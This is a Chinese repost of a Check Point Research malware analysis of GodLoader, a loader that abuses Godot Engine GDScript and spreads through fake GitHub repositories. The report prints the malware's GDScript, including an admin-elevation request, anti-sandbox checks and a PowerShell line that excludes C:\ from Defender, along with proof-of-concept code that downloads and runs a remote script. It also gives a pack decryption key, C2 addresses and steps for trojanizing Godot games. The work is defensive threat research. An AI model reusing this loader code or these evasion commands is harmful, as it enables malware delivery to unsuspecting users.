游戏引擎:恶意软件加载程序未被发现的新大陆

admin 2024年12月4日22:04:47评论7 views字数 14314阅读47分42秒阅读模式

关键点

游戏引擎:恶意软件加载程序未被发现的新大陆
  • Check Point Research 发现了一种新技术,利用流行的开源游戏引擎 Godot Engine 来执行精心设计的 GDScript 代码,该代码会触发恶意命令并传播恶意软件。VirusTotal 中的几乎所有防病毒引擎都无法检测到该技术。
  • Check Point 发现了 GodLoader ,这是一种采用这种新技术的加载程序。该恶意软件背后的威胁者自 2024 年 6 月 29 日起一直在使用它,感染了超过 17,000 台机器
  • 恶意的 GodLoader 由Stargazers Ghost Network分发,这是一个以服务形式分发恶意软件的 GitHub 网络。整个 9 月和 10 月,大约有 200 个存储库和超过 225 个 Stargazer 被用来使分发恶意软件的存储库合法化。
  • 这种新技术允许威胁行为者瞄准并感染多个平台上的设备,例如 Windows、macOS、Linux、Android 和 iOS。
  • Check Point Research 演示了这种多平台技术如何成功在 Linux 和 MacOS 中投放有效载荷。
  • 潜在攻击可能针对超过 120 万 Godot 开发游戏的用户。这些场景涉及利用合法的 Godot 可执行文件以模组或其他可下载内容的形式加载恶意脚本。

介绍

游戏引擎:恶意软件加载程序未被发现的新大陆
网络犯罪分子不断尝试改进其策略和技术,旨在增加感染量。为了不被发现,他们不断创新并发现新的传递和执行恶意代码的方法,这可能导致凭据被盗甚至勒索软件加密。Check Point Research 发现了一种新的未被发现的技术,该技术使用 Godot Gaming Engine 执行恶意 GDScript 代码。
Godot Engine 是一个功能丰富的开源游戏开发平台,专为创建 2D 和 3D 游戏而设计,以其灵活性、用户友好界面和全面的工具集而闻名。Godot 允许开发人员将游戏导出到各种平台,包括 Windows、macOS、Linux、Android、iOS、HTML5(Web)等,使其适用于不同的受众。该引擎使用一种名为 GDScript 的类似 Python 的脚本语言,专为游戏开发而设计。对于熟悉 Microsoft 编程生态系统的开发人员,它还支持 VisualScript 和 C#。
Godot 拥有一个充满活力且不断壮大的开发者社区,他们看重其开源特性和强大的功能。超过 2,700 名开发者为 Godot 游戏引擎做出了贡献,而超过 1,550 名支持者每月向开发基金捐款约 61,500 美元,确保了 Godot 引擎的未来。在 Discord、YouTube 和其他社交媒体平台上,Godot 引擎拥有约 80,000 名关注者,他们随时了解最新消息。
自 2024 年 6 月 29 日起,网络犯罪分子就一直在利用 Godot Engine 执行精心设计的 GDScript 代码,从而触发恶意命令并传播恶意软件。VirusTotal 上的大多数防病毒工具都无法检测到这种技术,可能在短短几个月内就感染了超过 17,000 台机器。使用这种新技术的加载器 GodLoader 已于 9 月和 10 月通过Stargazers Ghost Network进行分发。该网络以分发即服务 (DaaS) 的形式运行,从而可以通过 GitHub 存储库“合法”分发恶意软件。
为了分发 GodLoader,攻击者使用了大约 200 个存储库和超过 225 个 Stargazer Ghost 帐户。这些帐户一直为分发 GodLoader 的恶意存储库加注,使其看起来合法且安全。这些存储库分四波发布,主要针对开发人员、游戏玩家和普通用户。攻击波发生在以下日期:
  • 2024-09-12
  • 2024-09-14
  • 2024-09-29
  • 2024-10-03

技术分析

游戏引擎:恶意软件加载程序未被发现的新大陆
Godot 使用 .pck(包)文件来捆绑游戏资产和资源,例如脚本、场景、纹理、声音和其他数据。游戏可以动态加载这些文件,允许开发人员分发更新、可下载内容 (DLC) 或其他游戏资产,而无需修改核心游戏可执行文件。这些包文件可能包含与游戏、图像、音频文件和任何其他“静态”文件相关的元素。除了这些静态文件之外,.pck 文件还可以包含用 GDScript (.gd) 编写的脚本。当使用内置回调函数 _ready() 加载 .pck 时,可以执行这些脚本,从而允许游戏添加新功能或修改现有行为。
Godot Engine 为 GDScript 提供了执行环境,使游戏开发者能够创建游戏逻辑、控制场景并与游戏对象交互。GDScript 包含大多数现代语言功能,包括对象支持和多线程。
威胁者利用 Godot 引擎和 GDScript,它们使用这种新技术来执行恶意代码、下载恶意软件并部署它,同时不被发现。由于 GDScript 是一种功能齐全的语言,它为威胁者提供了许多功能,从反沙盒和反虚拟机到执行远程负载。威胁者恶意制作 GDScript 代码,然后使用 Godot 引擎的加载器加载它。虽然我们获得了 Windows 样本,但这种技术也可用于跨平台感染。Godot Engine 可执行文件和恶意制作的 GDScript 在与操作系统 (OS) 交互时依赖于系统。
包文件可以是带有 .pck 扩展名的单独文件,也可以作为 .pck 部分嵌入二进制文件内。无论哪种方式,进程都会加载文件/部分并解密加密文件(Godot 文档推荐),然后引擎执行 GDScripts。获得的初始样本包含嵌入和解密的包文件,而后续样本开始使用外部包文件和加密。

游戏引擎:恶意软件加载程序未被发现的新大陆

Pack 文件结构如下所示,包含 .pck 标头、每个打包文件的信息及其内容。如果作者在构建过程中指定了 AES 密钥,则内容将被加密。

游戏引擎:恶意软件加载程序未被发现的新大陆

跨平台的 God Loader

游戏引擎:恶意软件加载程序未被发现的新大陆
Godot 游戏引擎允许开发人员将他们的项目导出到各种平台,如 Godot 引擎指南中所述:
“游戏可以一键导出到多个平台,包括主流桌面平台(Linux、macOS、Windows)、移动平台(Android、iOS)以及基于 Web 的平台和控制台。”
跨平台支持允许威胁行为者将 GodLoader 与较小的操作系统更改一起导出到其他平台。
虽然我们最初的发现针对的是 Windows 机器,但 Check Point Research 评估了为 Windows 以外的平台开发加载器的难易程度。创建加载器的简单性在很大程度上取决于目标平台,因为大多数核心加载器功能依赖于其他可执行文件和操作系统本身。Godot 引擎主要用作 GDScript 代码的执行环境。可以通过在 Linux 和 MacOS 上使用 Godot 的原始版本来演示此技术。Android 加载器似乎也是可行的,但需要对 Godot 引擎进行修改。然而,由于 Apple 严格的 App Store 政策,iOS 版本不太可能推出,这将使部署变得具有挑战性。
macOS 和 Linux 概念验证 (POC) 的操作方式与原始 Windows 加载程序类似。它们各自都有一个按钮,当用户单击该按钮时,会触发有效负载的下载和执行。出于演示目的,我们选择启动计算器作为有效负载。

Linux 概念验证

游戏引擎:恶意软件加载程序未被发现的新大陆
GDScript Linux POC代码:
func _linux_do()  -> void:    print("linux do enter ...")    var cat_out = []    var pay_out = "/tmp/l.sh"    OS.execute("wget", ["-O", pay_out, "<http://192.168.56.103:9000/l.sh>"], cat_out)    OS.execute("chmod", ["+x", pay_out], cat_out, true)    OS.execute(pay_out, [], cat_out, true)    OS.execute("rm", [pay_out], cat_out, true)    print(cat_out)    print("linux do  exit ...")

Linux有效载荷的代码:

#!/bin/sh/usr/bin/galculator

游戏引擎:恶意软件加载程序未被发现的新大陆

MACOS概念验证

游戏引擎:恶意软件加载程序未被发现的新大陆

MacOS GDScript POC代码:

func _mac_do()  -> void:    print("mac do enter ...")    var cat_out = []    var pay_out = "/tmp/c.sh"    OS.execute("/opt/homebrew/bin/wget", ["-O", pay_out, "<http://192.168.15.10:9000/c.sh>"], cat_out, true)    OS.execute("chmod", ["+x", pay_out], cat_out, true)    OS.execute(pay_out, [], cat_out, true)    OS.execute("rm", [pay_out],  cat_out, true)    print(cat_out)    print("mac do  exit ...")

MacOS有效载荷:

#!/bin/zshopen -a Calculator

游戏引擎:恶意软件加载程序未被发现的新大陆

Stargazers Ghost Network 活动分发 GodLoader

游戏引擎:恶意软件加载程序未被发现的新大陆
Stargazers Ghost Network传播各种感染率高的恶意软件,为获取初始访问权限提供了一种新的成功方法。最近,Check Point Research 发现了 GodLoader,它分布在多个存储库中,主要针对开发人员和游戏玩家。

游戏引擎:恶意软件加载程序未被发现的新大陆

该活动于2024 年 10 月 3 日开始,使用了100 个唯一存储库。它分发了一个包含两个文件的档案:

1)Launcherkks.exe和 

2) Launcherkks.pck。

每个存储库都由一到十二个帐户加注星标,并利用github-actions[bot]使用当前日期和时间更新LOG。此策略似乎提高了存储库在 GitHub 搜索中的可见性,使它们显示为最近更新的存储库。

游戏引擎:恶意软件加载程序未被发现的新大陆

下载的 RAR 存档未受密码保护,具有唯一的随机名称。Stargazers Ghost Network 在 2024 年 9 月 12 日、9 月 14 日和 9 月 29 日的先前活动中分发了相同的存档。Check Point Research 发现有超过 196 个存储库分发了恶意 GodLoader,超过 225 名 stargazers 为这些存储库加了星标。

游戏引擎:恶意软件加载程序未被发现的新大陆

截至 2024 年 10 月 8 日,所有主流防病毒引擎似乎都无法检测到分布式存档和嵌入文件。考虑到这种技术至少自 2024 年 6 月 29 日起就已存在,它对所有类型的用户都构成了危险。Laucnherkks.exe加载.pck同名文件并解密包含恶意 GDScript 的 Pack File,下载下一阶段的有效负载。
在其他数据中,Pack File 存储了 MD5 哈希值。使用简单的 Python 脚本枚举 .pck 条目可得到以下哈希值:
$ py3 1.py 260f06f0c6c1544afcdd9a380a114489ebdd041b846b68703158e207b7c983d6\Launcherkks.pckrecords_num: 14offset: 000000640 : 000015d0 : 00001aa2 : b'480c9ce7b6f60aa42e9a5886da844b67' : b'res://.godot/exported/133200997/export-e66311c87c39ec8c25379305b5ae724b-control.scn\x00'offset: 000000e01 : 0005c7b0 : 0000001b : b'9984d0a0b5388a08ddd4387e247d50da' : b'res://.godot/global_script_class_cache.cfg\x00\x00'offset: 000001342 : 000030b0 : 00000d1c : b'efbc9a5174dc45bf0d631c4faedd17a8' : b'res://.godot/imported/icon.svg-218a8f2b3041327d8a5756f3a245f83b.ctex'offset: 000001a03 : 00003f00 : 000001ec : b'2078f4397407b82d92a9aec7ca409726' : b'res://.godot/imported/iconka.png-33ab33dfde13e2f89482bff662349c82.ctex\x00\x00'offset: 000002104 : 00004220 : 000006fc : b'd3575a49bea6bd54a543d720412134b3' : b'res://.godot/imported/saaasf.png-5b88526524374dc75cb75ac9dda020f8.ctex\x00\x00'offset: 000002805 : 0005cd70 : 00000074 : b'bef08eff4910a50e6997fbe21bb8b594' : b'res://.godot/uid_cache.bin\x00\x00'offset: 000002c46 : 00000000 : 000015a0 : b'c7d5a8188ea302ab78d6a529e90d43b8' : b'res://control.gd'offset: 000002fc7 : 0005c710 : 00000064 : b'6501ebb8f3472c28c2396b32dee370f7' : b'res://control.tscn.remap'offset: 0000033c8 : 00003e00 : 000000c1 : b'e41f0625a4574d3424e7bfa11a1f6416' : b'res://icon.svg.import\x00\x00\x00'offset: 0000037c9 : 00004a50 : 00057c87 : b'9a4ac6322a57b14acb3157c9cd83cd76' : b'res://iconka.ico'offset: 000003b410 : 0005c800 : 00000539 : b'ee60134b5708931be25b58780c0ff8a5' : b'res://iconka.png'offset: 000003ec11 : 00004120 : 000000c3 : b'8e09c87e2e69a9b58341050b5e38134d' : b'res://iconka.png.import\x00'offset: 0000042c12 : 0005ce20 : 00000727 : b'7c91efbcaa02854d951ac79000b77017' : b'res://project.binary'offset: 0000046813 : 00004950 : 000000c3 : b'639864b85bd3ec6d8bb00f7e08d145d9' : b'res://saaasf.png.import\x00'
该文件发现并执行了恶意的 GDScript control.gd。该脚本在从 bitbucket.org 下载并执行两个可执行文件之前采用了各种反沙盒和模拟技术。它还包含两条用俄语编写的评论,这可能表明作者的原籍国。
  • # Закрываем текущее окно, “关闭当前窗口”
  • # Закрываем приложение после показа сообщения, “显示消息后关闭应用程序”
GDScript流程需要包含以下部分才能成功:
  • 代码逃避沙盒和反沙盒分析
  • 代码以逃避Microsoft Defender对恶意负载的检测
  • 下载并执行有效载荷的代码
该脚本的高级流程如下:

游戏引擎:恶意软件加载程序未被发现的新大陆

通过检查 3D 视频加速功能是否可用来实现沙盒逃避。以下代码强制 Godot 引擎使用 3D 视频加速:

func request_admin_privileges():
var godot_executable = OS.get_executable_path()
var godot_args = OS.get_cmdline_args()

if "--rendering-driver opengl3" not in godot_args:
godot_args.append("--rendering-driver")
godot_args.append("opengl3")

godot_args.append("--admin-requested")

var args_string = " ".join(godot_args)

var ps_command = """
Start-Process -FilePath '%s' -ArgumentList '%s' -Verb RunAs
""" % [godot_executable, args_string]

var args = PackedStringArray(["-Command", ps_command])

var output = []
var exit_code = OS.execute("powershell.exe", args, output, true)

if exit_code == 0:
get_tree().quit() # Закрываем текущее окно
else:
show_windows_message_box()
func request_admin_privileges():    var godot_executable = OS.get_executable_path()    var godot_args = OS.get_cmdline_args()    if "--rendering-driver opengl3" not in godot_args:        godot_args.append("--rendering-driver")        godot_args.append("opengl3")    godot_args.append("--admin-requested")    var args_string = " ".join(godot_args)    var ps_command = """    Start-Process -FilePath '%s' -ArgumentList '%s' -Verb RunAs    """ % [godot_executable, args_string]    var args = PackedStringArray(["-Command", ps_command])    var output = []    var exit_code = OS.execute("powershell.exe", args, output, true)    if exit_code == 0:        get_tree().quit()  # Закрываем текущее окно    else:        show_windows_message_box()

如果系统中不存在 3D 加速硬件,则应用程序将终止并显示以下消息:

游戏引擎:恶意软件加载程序未被发现的新大陆

另一种反沙盒技术是创建一个图形按钮,一旦被点击,就会感染潜在的受害者。
在检查 GodLoader 时,我们发现了一些沙盒规避技术。其中一种技术使用 3D 视频图形适配器名称来检查它是否在虚拟环境中运行:
func _on_gpu_check_completed(gpu_names: Array):    var success = false    for name in gpu_names:        var gpu_name_lower = name.to_lower()        if (gpu_name_lower.find("nvidia") != -1 or             gpu_name_lower.find("amd") != -1 or            gpu_name_lower.find("radeon") != -1 or             gpu_name_lower.find("rx") != -1):            success = true            break    if success:        text = "WAIT. UPDATING..."        _start_execution()    else:        show_message_box("Outdated, wait for the update", "Warning")        _finish_execution(false)func get_gpu_names() -> Array:    var output = []    var ps_command = 'Get-WmiObject -Class Win32_VideoController | ForEach-Object { $_.Name }'    var args = ["-Command", ps_command]    var exit_code = OS.execute("powershell.exe", args, output, true)    var gpu_names = []    for line in output:        var gpu_name = line.strip_edges()        if not gpu_name.is_empty():            gpu_names.append(gpu_name)    return gpu_namesfunc _check_gpu_in_thread():    var gpu_names = get_gpu_names()    call_deferred("_on_gpu_check_completed", gpu_names)
此代码段检索系统中安装的所有视频控制器名称。然后检查这些名称是否包含任何预定义字符串。如果没有字符串匹配,脚本将中止感染过程。
另一种逃避技术利用可用空间的大小来识别虚拟环境:
func _check_space_in_thread():    var total_space_gb = get_total_free_space_gb()    call_deferred("_on_space_check_completed", total_space_gb)func _on_space_check_completed(total_space_gb: float):    is_executing = false    if total_space_gb > 360:        add_folder_to_windows_defender_exclusions()        _start_execution()    else:        show_message_box("Outdated, wait for the update", "Warning")func get_total_free_space_gb() -> float:    var cmd = 'powershell -Command "Get-PSDrive -PSProvider FileSystem | Where-Object { $_.Free -gt 0 } | Measure-Object -Property Free -Sum | Select-Object -ExpandProperty Sum"'    var result = []    var exit_code = OS.execute("cmd", ["/c", cmd], result, true)    if exit_code == 0:        var output = ""        for line in result:            output += line + "\n"        output = output.strip_edges()        var space_bytes = output.to_float()        if space_bytes > 0 or output == "0":            var space_gb = space_bytes / 1_073_741_824.0            return space_gb        else:            return -1.0    else:        return -1.0
这两种技术都用于powershell.exe检索系统属性。
如代码片段所示,管理员权限在同一函数内进行检查。下一步,脚本尝试将整个C:\磁盘添加到 Microsoft Defender 排除列表中:
var ps_command = """Add-MpPreference -ExclusionPath 'C:\\';"""var args = PackedStringArray(["-Command", ps_command])var output = []OS.execute("powershell.exe", args, output, true)

随后,该脚本尝试按顺序下载并执行有效载荷文件。有趣的是,下载的有效载荷托管在bitbucket.org合法的代码协作和项目管理平台上。这两个有效载荷分别于 2024 年 6 月 29 日和 8 月 7 日上传。最早的样本似乎已被下载超过17,000次,这表明潜在受害者的数量。在搜索更多 GodLoader 样本时,Check Point Research认为这是该攻击首次被使用,第一次活动发生在 2024-06-29。

游戏引擎:恶意软件加载程序未被发现的新大陆

最早且下载次数最多的文件Updatemmmm.exe是挖矿程序XMRig , 该文件于2024年8月7日上传,UpdateSSSS.exe更新了三次,该文件名对应三个不同的哈希值。
  • 该文件的第一个版本来自 2024 年 6 月 29 日的RedLine和C &C:147.45.44.83:6483
  • 第二次是在 2024 年 7 月 6 日,使用 C&C 的RedLine :185.196.9.26:6302
  • 最后一次是在 2024 年 8 月 7 日,RedLine与 C&C:185.196.9.26:6302
  • 哈希 文件
    B1A351EE61443B8558934DCA6B2FA9EFB0A6D2D18BAE61ACE5A761596604DBFA asdz2.png (XMRig)
    B1A351EE61443B8558934DCA6B2FA9EFB0A6D2D18BAE61ACE5A761596604DBFA Updatemmmm.exe (XMRig)
    6BE9C015C82645A448831D9DC8FCAE4360228F76DFF000953A76E3BF203D3EC8 sdadsasad.png (1st RedLine)
    604FA32B76DBE266DA3979B7A49E3100301DA56F0B58C13041AB5FEBE55354D2 UpdateSSSS.exe (last RedLine)

在超过三个月的时间里,威胁者将恶意文件托管在合法平台上,并在很长一段时间内未被发现,感染了超过17,000 名受害者。在此期间,威胁者几乎没有进行任何修改,只更改了两次 C&C,这对于运行一个已知且受到密切跟踪的恶意软件家族的 C&C 来说,是一个令人印象深刻的时间。

游戏引擎:恶意软件加载程序未被发现的新大陆

XMRig矿工进入私人粘贴页面pastebin以检索其配置。私人粘贴 7bG9giRJ 于 2024 年 5 月 10 日上传,其中包含与该活动相关的XMRig配置,已被访问206,913次。

游戏引擎:恶意软件加载程序未被发现的新大陆

这篇贴文背后的账户@SKRASH1似乎也有一些公开的配置,最早的是 2021 年 12 月 10 日。根据这些配置,威胁行为者主要拥有门罗币和以太坊,这对于网络犯罪分子来说并不奇怪。

游戏引擎:恶意软件加载程序未被发现的新大陆


超级进化

游戏引擎:恶意软件加载程序未被发现的新大陆

自 2024 年 6 月 29 日起,恶意软件 GodLoader 已从将嵌入.pck文件作为 PE 部分包含转变为将其作为单独文件,并从解密变为加密。

主要功能集中在.pckGodot 可执行文件的段内。Pack 文件可以单独传输,也可以在可执行文件内分段传输。

虽然恶意代码的主要演变发生在.pck文件内,但在后期,参与者还试图提高逃避级别并加密.pck文件。

游戏引擎:恶意软件加载程序未被发现的新大陆

与 GodLoader 相关的最早的 GDScript 日期为 2024 年 6 月 29 日。此变体似乎已接近完成。该脚本包含以下代码:
  • 检查是否授予管理员权限,若未授予则请求授予
  • 添加c:\到 MS Defender 排除列表
  • 下载并执行payload
随后,威胁行为者开始尝试逃避技术。
此初始版本的一个值得注意的方面是作者没有澄清的小细节;例如,要求用户授予管理员权限的警告对话框以俄语标题显示。标题翻译为“警告”:

游戏引擎:恶意软件加载程序未被发现的新大陆

2024 年 6 月 30 日,一个新的变种提交给了 VirusTotal。在这个变种中,参与者添加了多线程:现在,有效载荷在单独的线程中下载,并且警告对话框中的俄语文本已被删除。
2024 年 7 月 1 日,Godot 资源文件的另一个变体被提交给 VirusTotal。这次,资源文件进行了重组:
  • 脚本代码已从一个文件复制scn 到另一个文件gd。
  • Godot 参数从BLACKLAUCNHERapplication/config/name更改为NewLauncher。
下一个变体于 2024 年 8 月 6 日被发现,包含以下变化:
  • 攻击者添加了可用空间检查,用作沙盒分析规避技术。如果所有驱动器上的可用空间小于 360GB,则应用程序不会下载任何有效负载。
  • 在 Godot 选项名称下的配置中添加了 TLS 证书network/tls/certificate_bundle_override。
下一次更改于 2024 年 8 月 22 日进行,更新内容如下:
  • 攻击者改用了另一种沙盒规避技术。这次,脚本检查了可用的 3D 视频图形适配器的名称,只有当名称中包含以下字符串时才会继续运行:Nvidia、AMD、Radeon、rx。
  • 恶意负载链接已更新。撰写本文时,新链接不可用。
第二天,即 2024 年 8 月 23 日,新的有效载荷链接取代了旧链接。
8 月 26 日,VT 上发现了一个新的变种。这次,攻击者在C:/ProgramData命名下创建了一个额外的文件夹Update来保存下载的 payload。
我们获得的最终版本被标记为于 2024 年 9 月 4 日首次出现。在此变体中,攻击者借助普通 Godot 引擎加密了资源文件。Godot 引擎允许开发人员使用AES 密码加密资源文件。
以下是用于加密文件的密钥.pck:
FB 30 66 F5 3A FA 7A B9 AA 44 4C 59 18 6C 75 0E 4E 23 7C 5E 5E FF B5 60 E5 12 34 00 BC 76 72 4D

潜在的攻击场景

游戏引擎:恶意软件加载程序未被发现的新大陆
目前,这种新技术是通过利用威胁行为者构建的 Godot Engines 可执行文件来实现的。但是,也有可能通过将合法文件替换.pck为恶意文件或通过将部分替换pck为恶意文件来“感染”合法的 Godot Engine,从而感染合法的 Godot 游戏。虽然我们目前还没有看到任何迹象表明这种技术在野外被利用,但可能的情况类似于DLL 劫持。
此场景需要攻击者获取合法引擎可执行文件使用的 AES 密钥,该密钥用于加密/解密合法.pck文件。只要 Godot文件使用对称算法pck加密,该密钥就可以用于加密和解密,并由 Godot Engine 可执行文件获取。威胁行为者必须获取 AES 密钥,并使用相同的密钥打包并加密他们的 pck 文件。
威胁行为者利用合法 Godot Engine 游戏的步骤:
  • 获取 Godot 游戏可执行文件。
  • 逆向并获取AES密钥。
  • 制作一个恶意pck文件并使用获取的密钥对其进行加密。
  • pck诱骗特定游戏用户用恶意文件替换当前文件。
如果游戏可执行文件嵌入了包文件的内容,则需要类似的过程。潜在的“感染者”可能会用恶意文件替换 pck 部分内容。感染者可能嵌入或从远程服务器下载恶意 pck 内容,并搜索以找到 Godot 引擎可执行文件并在尊重 PE 标头的情况下感染它。

游戏引擎:恶意软件加载程序未被发现的新大陆

这种攻击场景会感染合法的 Godot 游戏,可以通过强制执行包数据加密并将加密方法从对称 (AES) 算法更改为非对称算法来预防。通过逆向并获取解密密钥,威胁者将无法使用有效密钥加密其恶意包文件,因为他们需要从作者那里获取私钥。
https://research.checkpoint.com/wp-content/uploads/2024/11/new_gif_blurred.gif

游戏引擎:恶意软件加载程序未被发现的新大陆

威胁者可能会以游戏模组或作弊工具的形式攻击 Godot 开发的热门游戏,以针对其受众。根据使用 Godot 开发的热门游戏,这种技术可能会针对超过 120 万玩家的庞大游戏群体。

结论

游戏引擎:恶意软件加载程序未被发现的新大陆
总之,Godot Engine 是一款合法的软件,旨在作为开源游戏开发工具,由于其灵活性和恶意软件开发相对隐蔽性,已被用于恶意目的。威胁行为者利用 Godot 的脚本功能创建自定义加载器,而许多传统安全解决方案都无法检测到这些加载器。由于 Godot 的架构允许与平台无关的有效负载传递,攻击者可以轻松地在 Windows、Linux 和 macOS 上部署恶意代码,有时甚至可以探索 Android 选项。此外,GDScript 的简单性,加上 Godot 集成到各种操作系统的能力,使攻击者能够绕过传统的检测方法。
此次攻击背后的威胁者利用 Stargazers 幽灵网络分发 GodLoader。该幽灵网络在其活动中表现出了复杂性和成功性,利用对开源和合法软件存储库的信任来秘密分发恶意软件。通过伪装成信誉良好的应用程序或工具,该网络吸引了毫无戒心的用户下载并安装他们认为安全的软件。这种方法使恶意软件得以广泛而迅速地传播,成千上万的用户很快就受到影响。
高度针对性的传播方法与隐蔽且不易被发现的技术相结合,导致感染率极高。这种跨平台方法增强了恶意软件的多功能性,为威胁行为者提供了一种可以轻松针对多个操作系统的强大工具。这种方法使攻击者能够更有效地在各种设备上传播恶意软件,从而最大限度地扩大其传播范围和影响。

缓解措施

游戏引擎:恶意软件加载程序未被发现的新大陆
为了减轻 GodLoader 等威胁的风险,必须通过及时修补程序和其他方式保持操作系统和应用程序的更新。个人在处理包含链接的意外电子邮件或消息时应谨慎行事,尤其是来自未知发件人的邮件。增强员工的网络安全意识也至关重要,因为它有助于打造一支更加警惕的员工队伍。最后,咨询安全专家以解决任何疑问或不确定性,可以提供宝贵的专业知识和指导,以应对潜在的安全挑战。

保护

游戏引擎:恶意软件加载程序未被发现的新大陆
Check Point Threat Emulation 和 Harmony Endpoint 全面覆盖攻击策略、文件类型和操作系统,并保护其客户免受本报告中描述的此类攻击和恶意软件家族的侵害。
  • Technique.win.GDscript.*

  • Dropper.Win.Godot.*


攻击指标

游戏引擎:恶意软件加载程序未被发现的新大陆
Description Value
Archive distributed by Stargazers Ghost Network 260f06f0c6c1544afcdd9a380a114489ebdd041b846b68703158e207b7c983d6
Launcherkks.exe 3317b8e19e19218e5a7c77a47a76f36e37319f383b314b30179b837e46c87c45
Launcherkks.pck 0d03c7c6335e06c45dd810fba6c52cdb9eafe02111da897696b83811bff0be92
RedLine 604fa32b76dbe266da3979b7a49e3100301da56f0b58c13041ab5febe55354d2
6be9c015c82645a448831d9dc8fcae4360228f76dff000953a76e3bf203d3ec8
XMRig b1a351ee61443b8558934dca6b2fa9efb0a6d2d18bae61ace5a761596604dbfa
RedLine C&Cs 147.45.44.83:6483
185.196.9.26:6302

详细研究:https://research.checkpoint.com/2024/gaming-engines-an-undetected-playground-for-malware-loaders/

往期推荐

游戏引擎:恶意软件加载程序未被发现的新大陆

Nighthawk 正在推翻 Cobalt Strike

2024-12-03

游戏引擎:恶意软件加载程序未被发现的新大陆

macOS 上的横向移动:独特且流行的技术以及实际示例

2024-11-28

游戏引擎:恶意软件加载程序未被发现的新大陆

【必看】Rockstar 2FA:网络钓鱼即服务 (PaaS) 背后的工具

2024-12-02

游戏引擎:恶意软件加载程序未被发现的新大陆

警告警惕通过钓鱼电子邮件传播的 SVG 格式恶意软件

2024-11-25

游戏引擎:恶意软件加载程序未被发现的新大陆

下一代红蓝:AI如何增强红队能力

2024-11-21

游戏引擎:恶意软件加载程序未被发现的新大陆

原文始发于微信公众号(OSINT研习社):游戏引擎:恶意软件加载程序未被发现的新大陆

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月4日22:04:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   游戏引擎:恶意软件加载程序未被发现的新大陆https://cn-sec.com/archives/3466924.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息